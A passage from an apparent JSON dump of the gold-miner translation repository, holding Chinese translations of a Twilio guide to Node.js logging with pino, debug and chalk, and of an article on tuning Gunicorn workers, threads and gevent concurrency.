**本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/guide-node-js-logging.md",
    "content": "> * 原文地址：[A Guide to Node.js Logging](https://www.twilio.com/blog/guide-node-js-logging)\n> * 原文作者：[dkundel](https://www.twilio.com/blog/author/dkundel)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/guide-node-js-logging.md](https://github.com/xitu/gold-miner/blob/master/TODO1/guide-node-js-logging.md)\n> * 译者：[fireairforce](https://github.com/fireairforce)\n\n# Node.js 日志记录指南\n\n![Decorative header image \"A guide to Node.js logging\"](https://s3.amazonaws.com/com.twilio.prod.twilio-docs/images/kXeypOLzQZEdsIoPNIXDnloJ-7X1bqKVcPil1g3udZ_1Kd.width-808.png)\n\n当你开始使用 JavaScript 开始时，你应该学会的第一件事就是如何通过 `console.log()` 将事物记录到控制台。如果你搜索如何调试 `JavaScript`，你会发现数百篇博客文章和 StackOverflow 上的文章会告诉你很“简单”的使用 `console.log()` 来完成调试。因为这是一种常见的做法，我们甚至开始使用 `linter` 规则，比如 [`no-console`](https://eslint.org/docs/rules/no-console)，以确保我们不会在生产代码中留下意外的日志记录。但是如果我们真的想记录一些东西来提供更多的信息呢？\n\n在这篇博文中，我将会介绍一些你想要记录信息的各种情况，以及在 Node.js 中 `console.log` 和 `console.error` 的区别，以及如何在不影响用户控制台的情况下往库里面发送日志记录。\n\n```js\nconsole.log(`Let's go!`);\n```\n\n## 理论第一：Node.js 的重要细节\n\n虽然您可以在浏览器和 Node.js 中使用 `console.log` 或 `console.error`，但在使用 Node.js 时需要记住一件重要的事情。在一个叫做 `index.js` 的文件中写下面的代码：\n\n```js\nconsole.log('Hello there');\nconsole.error('Bye bye');\n```\n\n然后在终端里面使用 `node index.js` 来运行它，你会看到这两个直接在下面输出：\n\n![Screenshot of Terminal running `node index.js`](https://s3.amazonaws.com/com.twilio.prod.twilio-docs/images/IOR3_DzRS9I8kNyWU4KQ0Kgb_B3gbgW4WLnaTPzE-5DUVO.width-500.png)\n\n然而，虽然这两个看上去可能相同，但系统实际上对它们的处理方式并不相同。如果你去查看 [Node.js 文档中 `console` 部分](https://nodejs.org/api/console.html)，你会看到 `console.log` 是使用 `stdout` 来打印而 `console.error` 使用 `stderr` 来打印。\n\n每个进程都可以使用三个默认的 `streams` 来工作。它们分别是 `stdin`、`stdout` 和 `stderr`。`stdin` 流来处理和你的进程相关的输出。例如按下按钮或重定向输出（我们会在一秒钟之内完成）。`stdout` 流则用于你的应用程序的输出。最后 `stderr` 用于错误消息。如果你想了解 `stderr` 存在的原因以及什么时候使用它，[可以查看本文](https://www.jstorimer.com/blogs/workingwithcode/7766119-when-to-use-stderr-instead-of-stdout)。\n\n简而言之，这允许我们使用 redirect（`>`）和 pipe（`|`）运算符来处理和应用程序实际结果分开的错误和诊断信息。虽然 `>` 允许我们将命令的输出重定向到文件中，`2>` 允许我们将 `stderr` 的输出重定向到文件中。例如，下面这个命令会将 “Hello there” 传递到一个叫做 `hello.log` 的文件中和将 “Bye bye” 传递到一个叫做 `error.log` 的文件中。\n\n```js\nnode index.js > hello.log 2> error.log\n```\n\n![Screenshot of terminal showing how error output is in different file](https://s3.amazonaws.com/com.twilio.prod.twilio-docs/images/rOWVM3v67qub6TIhwBqAFguCm9FOoOgZ6CHagg_Ns5QVLf.width-500.png)\n\n## 你什么时候想记录？\n\n既然我们已经了解了日志记录的基础记录方面，让我们先谈谈你可能想要记录某些内容的不同用例。通常这些用例属于以下的类别之一：\n\n* 快速调试开发期间的意外行为\n* 基于浏览器的分析或诊断日志记录\n* 使用[服务器应用程序的日志](#你的服务器应用程序的日志)来记录传入的请求，以及可能发生的任何故障\n* [库的可选调试日志](#你的库的日志)，以帮助用户解决问题 \n* 使用 [CLI 的输出](#你的-CLI-输出)来打印进程, 确认消息或错误\n\n本篇博客将会跳过前面两个类别，然后重点介绍基于 Node.js 的后三个类别\n\n## 你的服务器应用程序的日志\n\n你可能需要在服务器上进行日志记录的原因有很多。例如，记录传入的请求从而允许你从里面提取信息，比如有多少用户正在访问 404，这些请求可能是什么，或者正在使用什么 `User-Agent`。你也想知道什么时候出了问题以及为什么会出现问题。\n\n如果你想在文章的这一部分中尝试下面的内容，首先要确保创建一个文件夹。在项目目录下创建一个叫做 `index.js` 的文件，然后使用下面的代码来初始化整个项目并且安装一下 `express`：\n\n```\nnpm init -y\nnpm install express\n```\n\n然后设置一个带有中间件的服务器，只需要 `console.log` 为来提供每次的请求。将下面的内容放在 `index.js` 文件里面：\n\n```js\nconst express = require('express');\n\nconst PORT = process.env.PORT || 3000;\nconst app = express();\n\napp.use((req, res, next) => {\n console.log('%O', req);\n next();\n});\n\napp.get('/', (req, res) => {\n res.send('Hello World');\n});\n\napp.listen(PORT, () => {\n console.log('Server running on port %d', PORT);\n});\n```\n\n我们用 `console.log('%O', req)` 来记录整个对象。`console.log` 在引擎盖下使用 `util.format`，它还支持 `%O` 等其他占位符。你可以在 [Node.js 文档中阅读它们](https://nodejs.org/api/util.html#util_util_format_format_args)。\n\n当你运行 `node index.js` 执行服务器并且导航到 [http://localhost:3000](http://localhost:3000)，你会注意到它将打印出许多我们真正并不需要的信息。\n\n![Screenshot of terminal showing too much output of request object](https://s3.amazonaws.com/com.twilio.prod.twilio-docs/images/fkC4l6o0lqPakT-3wbM4hNevjWsT2meB34BY7nTbmX1oXZ.width-500.png)\n\n如果将代码改成 `console.log('%s', req)` 为不打印整个对象，我们也不会获得太多的信息。\n\n![Screenshot of terminal printing \"[object Object]\" multiple times](https://s3.amazonaws.com/com.twilio.prod.twilio-docs/images/HhQKjPGMiOT52G3-X53cPGTQmbR3zPoLb5LgKSwrMrK5MY.width-500.png)\n\n我们可以编写我们自己的打印函数，它只输出我们关心的东西，但是让我们先回退一步，讨论一下我们通常关心的事情。虽然这些信息经常成为我们关注的焦点，但实际上我们可能还需要其他信息。例如：\n\n* 时间戳 —— 用于得知事情何时发生\n* 计算机/服务器名称 —— 如果你运行的是分布式系统\n* 进程 ID —— 如果你使用类似 [`pm2`](https://www.npmjs.com/package/pm2) 的工具来运行多个 Node 进程\n* 消息 —— 包含一些内容的实际消息\n* 堆栈跟踪 —— 以防我们记录错误\n* 也许还有一些额外的变量/信息\n\n 另外，既然我们知道所有的东西都会转到 `stdout` 和 `stderr`，那么我们可能需要不同的日志级别，并且根据它们来配置和过滤日志的能力。\n\n我们可以通过访问各部分的 [`process`](https://nodejs.org/api/process.html) 并且写一大堆 JavaScript 代码来获取这些，但是关于 Node.js 最好的事情是我们得到了 [`npm`](https://www.npmjs.com/) 生态系统，并且已经有各种各样的库供我们使用。其中有一些是：\n\n* [`pino`](https://getpino.io/)\n* [`winston`](https://www.npmjs.com/package/winston)\n* [`roarr`](https://www.npmjs.com/package/roarr)\n* [`bunyan`](https://www.npmjs.com/package/bunyan)（注意这个库已经有两年没有更新了）\n\n我个人很喜欢 `pino` 这个库，因为它运行很快，并且生态系统比较好，让我们来看看如何使用 [`pino`](https://getpino.io/) 来帮我们记录日志。我们同时也可以使用 `express-pino-logger` 包来帮助我们整洁的记录请求。\n\n同时安装 `pino` 和 `express-pino-logger`：\n\n```\nnpm install pino express-pino-logger\n\n```\n\n然后更新 `index.js` 文件来使用记录器和中间件：\n\n```js\nconst express = require('express');\nconst pino = require('pino');\nconst expressPino = require('express-pino-logger');\n\nconst logger = pino({ level: process.env.LOG_LEVEL || 'info' });\nconst expressLogger = expressPino({ logger });\n\nconst PORT = process.env.PORT || 3000;\nconst app = express();\n\napp.use(expressLogger);\n\napp.get('/', (req, res) => {\n logger.debug('Calling res.send');\n res.send('Hello World');\n});\n\napp.listen(PORT, () => {\n logger.info('Server running on port %d', PORT);\n});\n```\n\n在这个代码片段中，我们通过 `pino` 创建了一个 `logger` 实例并将其传递给 `express-pino-logger` 来创建一个新的中间件，并且通过 `app.use` 来调用它。此外，我们在服务器启动的位置用 `logger.info` 来替换 `console.log`，并在我们的路由中添加一行 `logger.debug` 来显示一个额外的日志级别。\n\n如果通过 `node index.js` 再次运行重新启动服务器，你将会看到一个完全不同的输出，它会为每一行打印一个 JSON。再次导航到 [http://localhost:3000](http://localhost:3000)，你将会看到添加了另一行 JSON。\n\n![Screenshot showing example pino logs from HTTP request](https://s3.amazonaws.com/com.twilio.prod.twilio-docs/images/x2TedyPcCiQ93p3U9Bb5HTkXECMxxbKZhZA4ecPlYKn0pB.width-500.png)\n\n如果你检查这个 JSON，你将看到它包含所有先前提到的信息，例如时间戳。您可能还会注意到我们的 `logger.debug` 声明没有打印出来。那是因为我们必须更改默认日志级别才能使其可见。当我们创建 `logger` 实例时，我们将值设为 `process.env.LOG_LEVEL` 意味着我们可以通过它更改值，或者接受默认值 `info`。我们可以通过运行 `LOG_LEVEL=debug node index.js` 来调整日志的级别。\n\n在我们这样做之前，让我们先认清这样一个事实，即现在的输出并不是真正可读的。这是故意的。`pino` 遵循一个理念，为了提高性能，你应该通过管道（使用`|`）输出将日志任何处理移动到单独的过程中去。这包括使其可读或将其上传到云主机上面去。我们称这些为 [`传输`](http://getpino.io/#/docs/transports)。查看[关于`传输`的文档](http://getpino.io/#/docs/transports) 去了解 `pino` 中的错误为什么没有写入 `stderr`。\n\n我们将使用 `pino-pretty` 来查看更易读的日志版本。在终端运行：\n\n```\nnpm install --save-dev pino-pretty\nLOG_LEVEL=debug node index.js | ./node_modules/.bin/pino-pretty\n```\n\n现在，你的所有日志信息都会使用 `|` 操作符输出到 `pino-pretty` 中去。如果你再次去请求 [http://localhost:3000](http://localhost:3000)。你应该还能看到你的 `debug` 信息。\n\n![Screenshot of pretty printed pino logs](https://s3.amazonaws.com/com.twilio.prod.twilio-docs/images/m7gSplE-B6Qldtf9Y0F6d2xMqqBH2mrweyRMERoASDo_OT.width-500.png)\n\n有许多现有的传输工具可以美化或转换你的日志。你甚至可以通过 [`pino-colada`](https://www.npmjs.com/package/pino-colada) 来显示 emojis。这会对你的本地开发很有用。在生产环境中运行服务器后，你可能希望将日志输出到到[另外一个传输中](http://getpino.io/#/docs/transports)，使用 `>` 将其写入磁盘以待稍后处理，或者使用类似于 [`tee`](https://en.wikipedia.org/wiki/Tee_(command)) 的命令来进行同时的处理。\n\n该 [文档](https://getpino.io/) 还将包含有关诸如轮换日志文件，过滤和将日志写入不同文件等内容的信息。\n\n## 你的库的日志\n\n既然我们研究了如何有效地为服务器应用程序编写日志，为什么不对我们编写的库使用相同的技术呢？\n\n问题是，你的库可能希望记录用于调试的内容，但实际上不应该让使用者的应用程序变得混乱。相反，如果需要调试某些东西，使用者应该能够启用日志。你的库在默认情况下应该是不会处理这些的，并将写入输出的操作留给用户。\n\n`express` 就是一个很好的例子。在 `express` 框架下有很多的事情要做，在调试应用程序时，你可能希望了解一下框架的内容。如果我们查询 [`express` 文档](https://expressjs.com/en/guide/debugging.html)，你会注意到你可以在你的命令前面加上 `DEBUG=express:*` 这样一行代码：\n\n```\nDEBUG=express:* node index.js\n```\n\n如果你使用现在的应用程序运行这个命令，你将看到许多其他输出，可帮助你调试问题。\n\n![Screenshot of express debug logs](https://s3.amazonaws.com/com.twilio.prod.twilio-docs/images/sI71bQT5Tv1-lq_T9U9Nh4QOKnc52bINbLW7VhjSNgDinH.width-500.png)\n\n如果你没有启用调试日志记录，则不会看到任何这样的日志。这是通过调用一个叫做 [`debug`](https://npm.im/debug) 的包来完成的。它允许我们在“命名空间”下编写消息，如果库的用户包含命名空间或者在其 `DEBUG` [环境变量](https://www.twilio.com/blog/2017/01/how-to-set-environment-variables.html) 中匹配它的通配符，它将输出这些。使用 `debug` 库，首先要先安装它：\n\n```\nnpm install debug\n```\n\n让我们通过创建一个模拟我们的库调用的新文件 `random-id.js` 来尝试它，并在里面写上这样的代码：\n\n```js\nconst debug = require('debug');\n\nconst log = debug('mylib:randomid');\n\nlog('Library loaded');\n\nfunction getRandomId() {\n log('Computing random ID');\n const outcome = Math.random()\n   .toString(36)\n   .substr(2);\n log('Random ID is \"%s\"', outcome);\n return outcome;\n}\n\nmodule.exports = { getRandomId };\n```\n\n这里会创建一个带有命名空间 `mylib:randomid` 的 `debug` 记录器，然后会将两种消息记录上去。然后我们在前一节的 `index.js` 文件中使用它：\n\n```js\nconst express = require('express');\nconst pino = require('pino');\nconst expressPino = require('express-pino-logger');\n\nconst randomId = require('./random-id');\n\nconst logger = pino({ level: process.env.LOG_LEVEL || 'info' });\nconst expressLogger = expressPino({ logger });\n\nconst PORT = process.env.PORT || 3000;\nconst app = express();\n\napp.use(expressLogger);\n\napp.get('/', (req, res) => {\n logger.debug('Calling res.send');\n const id = randomId.getRandomId();\n res.send(`Hello World [${id}]`);\n});\n\napp.listen(PORT, () => {\n logger.info('Server running on port %d', PORT);\n});\n```\n\n如果你这次使用 `DEBUG=mylib:randomid node index.js` 来重新启动服务器，它会打印我们“库”的调式日志。\n\n![Screenshot of custom debug logs](https://s3.amazonaws.com/com.twilio.prod.twilio-docs/images/Ax6Eu1HYBTvu5mNGigI96i3wcAwlzeIjZ8phL4Iv8bECnd.width-500.png)\n\n有意思的是，如果使用你的库的用户想把这些调试信息方法到自己的 `pino` 日志中去，他们可以使用一个由 `pino` 团队出的一个叫做 `pino-debug` 库来正确的格式化这些日志。\n\n使用下面的命令来安装这个库：\n\n```\nnpm install pino-debug\n```\n\n`pino-debug` 在我们第一次使用之前需要初始化一次 `debug`。最简单的方法是在启动脚本之前使用 [Node.js 的 `-r` 或 `--require` 标识符](https://nodejs.org/api/cli.html#cli_r_require_module) 来初始化。使用下面的命令来重启你的服务器（假设你已经安装了 [`pino-colada`](https://www.npmjs.com/package/pino-colada)）：\n\n```\nDEBUG=mylib:randomid node -r pino-debug index.js | ./node_modules/.bin/pino-colada\n```\n\n你现在就可以用和应用程序日志相同的格式来查看库的调试日志。\n\n![Screenshot of debug logs working with pino and pino-colada](https://s3.amazonaws.com/com.twilio.prod.twilio-docs/images/Y0rx6dlEkHTU-jFtPLPJDLCoy3itkF8Y06mjqJ0ArOUffq.width-500.png)\n\n## 你的 CLI 输出\n\n我将在这篇博文中介绍的最后一个案例是针对 CLI 而不是库去进行日志记录的特殊情况。我的理念是将逻辑日志和你的 CLI 输出 “logs” 分开。对于任何逻辑日志，你应该使用类似 [`debug`](https://npm.im/debug) 的库。这样你或其他人就可以重新使用逻辑，而不受 CLI 的特定用例约束。\n\n[当你使用 Node.js 构建 CLI 时](https://www.twilio.com/blog/how-to-build-a-cli-with-node-js)，你可能希望通过特定的视觉吸引力方式来添加颜色、旋转器或格式化内容来使事物看起来很漂亮。但是，在构建 CLI 时，应该记住几种情况。\n\n一种情况是，你的 CLI 可能在持续继承（CI）系统的上下文中使用，因此你可能希望删除颜色或任何花哨的装饰输出。一些 CI 系统设置了一个称为 “CI” 的环境标志。如果你想更安全的检查自己是否在 CI 中，可以使用已经支持多个 CI 系统的包，例如[`is-ci`](https://www.npmjs.com/package/is-ci)。\n\n有些库例如 `chalk` 已经为你检测了 CI 并帮你删除颜色。让我们来看看这是什么样子。\n\n使用 `npm install chalk` 来安装 `chalk`，并创建一个叫做 `cli.js` 的文件。将下面的内容放在里面：\n\n```\nconst chalk = require('chalk');\n\nconsole.log('%s Hi there', chalk.cyan('INFO'));\n```\n\n现在，如果你使用 `node cli.js` 运行这个脚本，你将会看到对应的颜色输出。\n\n![Screenshot showing colored CLI output](https://s3.amazonaws.com/com.twilio.prod.twilio-docs/images/ABLZI2_ENJ2atjZMxFqs3FuNuZpe0O4zrluWAiW3lTSDOM.width-500.png)\n\n但是你使用 `CI=true node cli.js` 来运行它，你会看到颜色被删除了：\n\n![Screenshot showing CLI output without colors and enabled CI mode](https://s3.amazonaws.com/com.twilio.prod.twilio-docs/images/DNVDVhftcAcmBWR5v66D5GAkmdMH5DZk6kLBoNQhbSMMeq.width-500.png)\n\n你要记住另外一个场景就是 `stdout` 能否在终端模式下运行。意思是将内容写入终端。如果是这种情况，我们可以使用类似 [`boxen`](https://npm.im/boxen) 的东西来显示所有漂亮的输出。如果不是，则可能会将输出重定向到文件或传输到其他地方。\n\n你可以检查 [`isTTY`](https://nodejs.org/api/process.html#process_a_note_on_process_i_o) 相应的流属性来检查 `stdin`、`stdout` 或 `stderr` 是否处于终端模式。例如：`process.stdout.isTTY`. 在这种情况下特别用于终端，`TTY` 代表“电传打字机”。\n\n根据 Node.js 进程的启动方式，三个流中的每个流的值可能不同。你可以在 [Node.js 文档的“进程 I/O” 部分](https://nodejs.org/api/process.html#process_a_note_on_process_i_o)了解到更多关于它的信息。\n\n让我们看看 `process.stdout.isTTY` 在不同情况下价值的变化情况。更新你的 `cli.js` 文件以检查它：\n\n```js\nconst chalk = require('chalk');\n\nconsole.log(process.stdout.isTTY);\nconsole.log('%s Hi there', chalk.cyan('INFO'));\n```\n\n然后使用 `node cli.js` 在你的终端你面运行，你会看到 `true` 打印后会跟着我们的彩色消息。\n\n![Screenshot of output saying \"true\" and colored output](https://s3.amazonaws.com/com.twilio.prod.twilio-docs/images/rtLqrmfAtvWMA59CygeQnbvHqHos5hd51mEc4PtqGq2qNk.width-500.png)\n\n之后运行相同的东西，但将输出重定向到一个文件，然后通过运行检查内容：\n\n```\nnode cli.js > output.log\ncat output.log\n```\n\n这次你会看到它会打印 `undefined` 后面跟着一个简单的无色消息。因为 `stdout` 关闭了终端模式下 `stdout` 的重定向。因为 `chalk` 使用了 [`supports-color`](https://github.com/chalk/supports-color#readme)，所以在引擎盖下会检查各个流上的 `isTTY`。\n\n![Screenshot saying \"undefined\" and monochrome CLI output](https://s3.amazonaws.com/com.twilio.prod.twilio-docs/images/2n-ArjiYxgsmdt0d3KHiJUvvv7_lf8e_kR1Mm3ix81hS2Q.width-500.png)\n\n但是，像 `chalk` 这样的工具已经为你处理了这种行为，当你开发 CLI 时，你应该始终注意你的 CLI 可能在 CI 模式下运行或输出被重定向的情况。它也可以帮助你把你的 CLI 的经验更进一步。例如，你可以在终端以一种漂亮的方式排列数据，如果 `isTTY` 是 `undefined` 的话，则切换到更容易解析的方式。\n\n## 总结\n\n开始使用 JavaScript 并使用 `console.log` 记录你的第一行是很快的，但是当你将代码带到生产环境时，你应该考虑更多关于记录的内容。本文仅介绍各种方法和可用的日志记录解决方案。它不包含你需要知道的一切。我建议你检查一些你最喜欢的开源项目，看看它们如何解决日志记录问题以及它们使用的工具。现在去记录所有的事情，不要打印你的日志😉\n\n![GIF of endless printing of a document](https://s3.amazonaws.com/com.twilio.prod.twilio-docs/original_images/mDf8ceyn8JviZCtuUmtELF8nB0-JFgfvtuRqE6kGRq_9OBdN54bcmQNMKDJ_YdFPOuqO5T_pSHHKV4)\n\n如果你知道或找到任何我应该明确提及的工具，或者如果你有任何问题，请随时联系我。我等不及想看看你做了什么。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/gunicorn-3-means-of-concurrency.md",
    "content": "> * 原文地址：[Better performance by optimizing Gunicorn config](https://medium.com/building-the-system/gunicorn-3-means-of-concurrency-efbb547674b7)\n> * 原文作者：[Omar Rayward](https://medium.com/@orayward)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/gunicorn-3-means-of-concurrency.md](https://github.com/xitu/gold-miner/blob/master/TODO1/gunicorn-3-means-of-concurrency.md)\n> * 译者：[shixi-li](https://github.com/shixi-li)\n\n# 通过优化 Gunicorn 配置提高性能\n\n> 关于如何配置 Gunicorn 的实用建议\n\n> **概要，对于 CPU 受限的应用应该提升集群数量或者核心数量。但对于 I/O 受限的应用应该使用“伪线程”。**\n \n![](https://cdn-images-1.medium.com/max/3078/1*39XEUZgpoUUzahu7giTlAw.png)\n\n[Gunicorn](http://gunicorn.org/) 是一个 Python 的 WSGI HTTP 服务器。它所在的位置通常是在[反向代理](https://en.wikipedia.org/wiki/Reverse_proxy)（如 [Nginx](https://docs.nginx.com/nginx/admin-guide/web-server/reverse-proxy/)）或者 [负载均衡](https://f5.com/glossary/load-balancer)（如 [AWS ELB](https://aws.amazon.com/elasticloadbalancing/)）和一个 web 应用（比如 Django 或者 Flask）之间。\n\n## Gunicorn 架构\n\nGunicorn 实现了一个 UNIX 的预分发 web 服务端。\n\n好的，那这是什么意思呢？\n\n* Gunicorn 启动了被分发到的一个主线程，然后因此产生的子线程就是对应的 worker。\n* 主进程的作用是确保 worker 数量与设置中定义的数量相同。因此如果任何一个 worker 挂掉，主线程都可以通过分发它自身而另行启动。\n* worker 的角色是处理 HTTP 请求。\n* 这个 **预** in **预分发** 就意味着主线程在处理 HTTP 请求之前就创建了 worker。\n* 操作系统的内核就负责处理 worker 进程之间的负载均衡。\n\n为了提高使用 Gunicorn 时的性能，我们必须牢记 3 种并发方式。\n\n### 第一种并发方式（workers 模式，又名 UNIX 进程模式）\n\n每个 worker 都是一个加载 Python 应用程序的 UNIX 进程。worker 之间没有共享内存。\n\n建议的 [`workers` 数量](http://docs.gunicorn.org/en/latest/design.html#how-many-workers)是 `(2*CPU)+1`。\n\n对于一个双核（两个CPU）机器，5 就是建议的 worker 数量。\n\n```bash\ngunicorn --workers=5 main:app\n```\n\n![Gunicorn 使用默认的 worker 模式（同步模式）。注意看这个图片的第四行：“Using worker: sync”.](https://cdn-images-1.medium.com/max/2818/1*QbgEx24X6sZ204k5HOs3WA.png)\n\n### 第二种并发方式（多线程）\n\nGunicorn 还允许每个 worker 拥有多个线程。在这种场景下，Python 应用程序每个 worker 都会加载一次，同一个 worker 生成的每个线程共享相同的内存空间。\n\n为了在 Gunicorn 中使用多线程。我们使用了 `threads` 模式。每一次我们使用 `threads` 模式，worker 的类就会是 `gthread`：\n\n```bash\ngunicorn --workers=5 --threads=2 main:app\n```\n\n![Gunicorn 的多线程模式就是使用了 worker 的 gthread 类。请注意图片中的第四行 “Using worker: threads”。](https://cdn-images-1.medium.com/max/2786/1*hkpM7HoS_4PClLOVH9lCew.png)\n\n上一条命令等同于：\n\n```bash\ngunicorn --workers=5 --threads=2 --worker-class=gthread main:app\n```\n\n在我们的例子里面最大的并发请求数就是 `worker * 线程`，也就是10。\n\n在使用 worker 和多线程模式时建议的最大并发数量仍然是`(2*CPU)+1`。\n\n因此如果我们使用四核（4 个 CPU）机器并且我们想使用 workers 和多线程模式，我们可以使用 3 个 worker 和 3 个线程来得到最大为 9 的并发请求数量。\n\n```bash\ngunicorn --workers=3 --threads=3 main:app\n```\n\n### 第三种并发方式（“伪线程”）\n\n有一些 Python 库比如（[gevent](http://www.gevent.org/) 和 [Asyncio](https://docs.python.org/3/library/asyncio.html)）可以在 Python 中启用多并发。那是基于[协程](https://en.wikipedia.org/wiki/Coroutine)实现的“伪线程”。\n\nGunicrn 允许通过设置对应的 worker 类来使用这些异步 Python 库。\n\n这里的设置适用于我们想要在单核机器上运行的`gevent`：\n\n```bash\ngunicorn --worker-class=gevent --worker-connections=1000 --workers=3 main:app\n```\n\n> worker-connections 是对于 gevent worker 类的特殊设置。\n\n`(2*CPU)+1` 仍然是建议的`workers` 数量。因为我们仅有一核，我们将会使用 3 个worker。\n\n在这种情况下，最大的并发请求数量是 3000。（3 个 worker * 1000 个连接/worker）\n\n## 并发 vs. 并行\n\n* 并发是指同时执行 2 个或更多任务，这可能意味着其中只有一个正在处理，而其他的处于暂停状态。\n* 并行是指两个或多个任务正在同时执行。\n\n在 Python 中，线程和伪线程都是并发的一种方式，但并不是并行的。但是 workers 是一系列基于并发或者并行的方式。\n\n理论讲的很不错，但我应该怎样在程序中使用呢？\n\n## 实际案例\n\n通过调整Gunicorn设置，我们希望优化应用程序性能。\n\n 1. 如果这个应用是 [I/O 受限](https://en.wikipedia.org/wiki/I/O_bound)，通常可以通过使用“伪线程”（gevent 或 asyncio）来得到最佳性能。正如我们了解到的，Gunicorn 通过设置合适的 **worker 类** 并将 `workers`数量调整到 `(2*CPU)+1` 来支持这种编程范式。\n 2. 如果这个应用是 [CPU 受限](https://en.wikipedia.org/wiki/CPU-bound)，那么应用程序处理多少并发请求就并不重要。唯一重要的是并行请求的数量。因为 [Python’s GIL](https://wiki.python.org/moin/GlobalInterpreterLock)，线程和“伪线程”并不能以并行模式执行。实现并行性的唯一方法是增加**`workers`** 的数量到建议的 `(2*CPU)+1`，理解到最大的并行请求数量其实就是核心数。\n 3. 如果不确定应用程序的[内存占用](https://en.wikipedia.org/wiki/Memory_footprint)，使用 **`多线程`** 以及相应的 **gthread worker 类** 会产生更好的性能，因为应用程序会在每个 worker 上都加载一次，并且在同一个 worker 上运行的每个线程都会共享一些内存，但这需要一些额外的 CPU 消耗。\n 4. 如果你不知道你自己应该选择什么就从最简单的配置开始，就只是 `workers` 数量设置为 `(2*CPU)+1` 并且不用考虑 `多线程`。从这个点开始，就是所有测试和错误的基准环境。如果瓶颈在内存上，就开始引入多线程。如果瓶颈在 I/O 上，就考虑使用不同的 Python 编程范式。如果瓶颈在 CPU 上，就考虑添加更多内核并且调整 `workers` 数量。\n\n## 构建系统\n\n我们软件开发人员通常认为每个性能瓶颈都可以通过优化应用程序代码来解决，但并非总是如此。\n\n有时候调整 HTTP 服务器的设置，使用更多资源或通过别的编程范式重新设计应用程序都是我们提升应用程序性能的解决方案。\n\n在这种情况下，**构建系统**意味着理解我们应该灵活应用部署高性能应用程序的计算资源类型（进程，线程和“伪线程”）。\n\n通过使用正确的理解，架构和实施正确的技术解决方案，我们可以避免陷入尝试通过优化应用程序代码来提高性能的陷阱。\n\n## 参考\n\n 1. **Gunicorn 是从 Ruby 的 [Unicorn](https://bogomips.org/unicorn/) 项目移植而来。它的[设计大纲](https://bogomips.org/unicorn/DESIGN.html)有助于澄清一些最基本的概念。[Gunicorn 架构](http://docs.gunicorn.org/en/latest/design.html) 进一步巩固了其中一些概念。**\n 2. **[有态度的博文报道](https://tomayko.com/blog/2009/unicorn-is-unix)关于 Unicorn 怎么讲一些关键的特性基于 Unix 表述的非常好。**\n 3. **Stack Overflow里有关预分发 Web 服务模型的回答。**\n 4. **[一些](https://github.com/benoitc/gunicorn/issues/1045)[更多](https://stackoverflow.com/questions/38425620/gunicorn-workers-and-threads)[参考](http://docs.gunicorn.org/en/stable/settings.html)来理解怎么微调 Gunicorn。**\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/headers-we-dont-want.md",
